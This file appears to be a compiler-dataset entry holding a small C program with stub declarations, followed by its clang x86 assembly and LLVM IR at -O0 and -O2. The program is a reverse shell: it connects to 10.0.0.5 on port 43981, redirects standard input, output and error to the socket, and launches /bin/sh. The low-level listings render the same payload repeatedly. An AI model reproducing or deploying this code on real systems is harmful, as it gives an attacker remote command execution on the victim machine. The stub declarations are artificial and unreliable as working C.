#define NULL ((void *)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t;
typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1

/* Forward declarations */

/* Type definitions */
struct sockaddr_in {
  int /*<<< orphan*/ sin_addr;
  int /*<<< orphan*/ sin_family;
  int /*<<< orphan*/ sin_port;
};
struct sockaddr {
  int dummy;
};

/* Variables and functions */
int /*<<< orphan*/ AF_INET;
int /*<<< orphan*/ SOCK_STREAM;
int /*<<< orphan*/ connect(int, struct sockaddr *, int);
int /*<<< orphan*/ dup2(int, int);
int /*<<< orphan*/ execve(char *, int /*<<< orphan*/ *, int /*<<< orphan*/ *);
int /*<<< orphan*/ htons(int);
int /*<<< orphan*/ inet_pton(int /*<<< orphan*/, char *, int /*<<< orphan*/ *);
int socket(int /*<<< orphan*/, int /*<<< orphan*/, int /*<<< orphan*/);
int main(int argc, char *argv[]) {
  int clnt_sockfd;
  struct sockaddr_in srv_addr;
  clnt_sockfd = socket(AF_INET, SOCK_STREAM, 0);
  srv_addr.sin_family = AF_INET;
  srv_addr.sin_port = htons(43981);
  inet_pton(srv_addr.sin_family, "10.0.0.5", &srv_addr.sin_addr);
  connect(clnt_sockfd, (struct sockaddr *)&srv_addr, sizeof(struct sockaddr));
  dup2(clnt_sockfd, 0);
  dup2(clnt_sockfd, 1);
  dup2(clnt_sockfd, 2);
  execve("/bin/sh", NULL, NULL);
  return 0;
}


x86 assembly (clang, -O0):
<main>:
push   %rbp
mov    %rsp,%rbp
sub    $0x20,%rsp
movl   $0x0,-0x4(%rbp)
mov    %edi,-0x8(%rbp)
mov    %rsi,-0x10(%rbp)
mov    0x2e6b(%rip),%rax
mov    (%rax),%edi
mov    0x2e52(%rip),%rax
mov    (%rax),%esi
xor    %edx,%edx
call   1080 <socket@plt>
mov    %eax,-0x14(%rbp)
mov    0x2e4f(%rip),%rax
mov    (%rax),%eax
mov    %eax,-0x1c(%rbp)
mov    $0xabcd,%edi
call   1030 <htons@plt>
mov    %eax,-0x18(%rbp)
mov    -0x1c(%rbp),%edi
lea    -0x20(%rbp),%rdx
lea    0xe47(%rip),%rsi
call   1060 <inet_pton@plt>
mov    -0x14(%rbp),%edi
lea    -0x20(%rbp),%rsi
mov    $0x4,%edx
call   1070 <connect@plt>
mov    -0x14(%rbp),%edi
xor    %esi,%esi
call   1040 <dup2@plt>
mov    -0x14(%rbp),%edi
mov    $0x1,%esi
call   1040 <dup2@plt>
mov    -0x14(%rbp),%edi
mov    $0x2,%esi
call   1040 <dup2@plt>
lea    0xe0f(%rip),%rdi
xor    %eax,%eax
mov    %eax,%edx
mov    %rdx,%rsi
call   1050 <execve@plt>
xor    %eax,%eax
add    $0x20,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<main>:
push   %rbp
push   %r14
push   %rbx
sub    $0x10,%rsp
mov    0x2e79(%rip),%rbp
mov    0x0(%rbp),%edi
mov    0x2e5f(%rip),%rax
mov    (%rax),%esi
xor    %edx,%edx
call   1080 <socket@plt>
mov    %eax,%ebx
mov    0x0(%rbp),%ebp
mov    %ebp,0x4(%rsp)
mov    $0xabcd,%edi
call   1030 <htons@plt>
mov    %eax,0x8(%rsp)
lea    0xe60(%rip),%rsi
mov    %rsp,%r14
mov    %ebp,%edi
mov    %r14,%rdx
call   1060 <inet_pton@plt>
mov    %ebx,%edi
mov    %r14,%rsi
mov    $0x4,%edx
call   1070 <connect@plt>
mov    %ebx,%edi
xor    %esi,%esi
call   1040 <dup2@plt>
mov    %ebx,%edi
mov    $0x1,%esi
call   1040 <dup2@plt>
mov    %ebx,%edi
mov    $0x2,%esi
call   1040 <dup2@plt>
lea    0xe25(%rip),%rdi
xor    %esi,%esi
xor    %edx,%edx
call   1050 <execve@plt>
xor    %eax,%eax
add    $0x10,%rsp
pop    %rbx
pop    %r14
pop    %rbp
ret

LLVM IR (-O0):
%struct.sockaddr_in = type { i32, i32, i32 }
%struct.sockaddr = type { i32 }
@AF_INET = global i32 0
@SOCK_STREAM = global i32 0
@.str = [9 x i8] c"10.0.0.5\00"
@.str.1 = [8 x i8] c"/bin/sh\00"
define i32 @main(i32 %0, i8** %1) {
%3 = alloca i32
%4 = alloca i32
%5 = alloca i8**
%6 = alloca i32
%7 = alloca %struct.sockaddr_in
store i32 0, i32* %3
store i32 %0, i32* %4
store i8** %1, i8*** %5
%8 = load i32, i32* @AF_INET
%9 = load i32, i32* @SOCK_STREAM
%10 = call i32 @socket(i32 %8, i32 %9, i32 0)
store i32 %10, i32* %6
%11 = load i32, i32* @AF_INET
%12 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %7, i32 0, i32 1
store i32 %11, i32* %12
%13 = call i32 @htons(i32 43981)
%14 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %7, i32 0, i32 2
store i32 %13, i32* %14
%15 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %7, i32 0, i32 1
%16 = load i32, i32* %15
%17 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %7, i32 0, i32 0
%18 = call i32 @inet_pton(i32 %16, i8* getelementptr inbounds ([9 x i8], [9 x i8]* @.str, i64 0, i64 0), i32* %17)
%19 = load i32, i32* %6
%20 = bitcast %struct.sockaddr_in* %7 to %struct.sockaddr*
%21 = call i32 @connect(i32 %19, %struct.sockaddr* %20, i32 4)
%22 = load i32, i32* %6
%23 = call i32 @dup2(i32 %22, i32 0)
%24 = load i32, i32* %6
%25 = call i32 @dup2(i32 %24, i32 1)
%26 = load i32, i32* %6
%27 = call i32 @dup2(i32 %26, i32 2)
%28 = call i32 @execve(i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str.1, i64 0, i64 0), i32* null, i32* null)
ret i32 0
}

LLVM IR (-O2):
%struct.sockaddr_in = type { i32, i32, i32 }
%struct.sockaddr = type { i32 }
@AF_INET = global i32 0
@SOCK_STREAM = global i32 0
@.str = [9 x i8] c"10.0.0.5\00"
@.str.1 = [8 x i8] c"/bin/sh\00"
define i32 @main(i32 %0, i8** nocapture readnone %1) {
%3 = alloca %struct.sockaddr_in
%4 = bitcast %struct.sockaddr_in* %3 to i8*
%5 = load i32, i32* @AF_INET
%6 = load i32, i32* @SOCK_STREAM
%7 = tail call i32 @socket(i32 %5, i32 %6, i32 0)
%8 = load i32, i32* @AF_INET
%9 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %3, i64 0, i32 1
store i32 %8, i32* %9
%10 = tail call i32 @htons(i32 43981)
%11 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %3, i64 0, i32 2
store i32 %10, i32* %11
%12 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %3, i64 0, i32 0
%13 = call i32 @inet_pton(i32 %8, i8* getelementptr inbounds ([9 x i8], [9 x i8]* @.str, i64 0, i64 0), i32* %12)
%14 = bitcast %struct.sockaddr_in* %3 to %struct.sockaddr*
%15 = call i32 @connect(i32 %7, %struct.sockaddr* %14, i32 4)
%16 = call i32 @dup2(i32 %7, i32 0)
%17 = call i32 @dup2(i32 %7, i32 1)
%18 = call i32 @dup2(i32 %7, i32 2)
%19 = call i32 @execve(i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str.1, i64 0, i64 0), i32* null, i32* null)
ret i32 0
}